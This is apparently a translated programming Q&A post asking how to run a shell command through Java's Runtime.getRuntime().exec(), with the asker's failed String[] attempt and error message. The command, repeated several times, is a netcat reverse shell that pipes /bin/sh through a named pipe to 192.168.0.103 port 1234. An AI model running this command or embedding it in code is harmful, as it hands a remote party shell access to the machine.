【发布时间】:2017-01-03 12:22:01
【问题描述】:
我需要从 Runtime.getRuntime().exec() 内部运行以下命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
我应该以什么格式将它传递给我正在运行的具有以下行的 java 程序:
Process localProcess = Runtime.getRuntime().exec(myStr);
myStr 是上面我要执行的整个命令吗?
我已经尝试过的事情:
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
给我错误:
无法运行程序 "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
如果我只是从终端运行命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
它像一个魅力一样运行,但不是通过 runtime.exec()。
【问题讨论】:
标签: java linux bash runtime.exec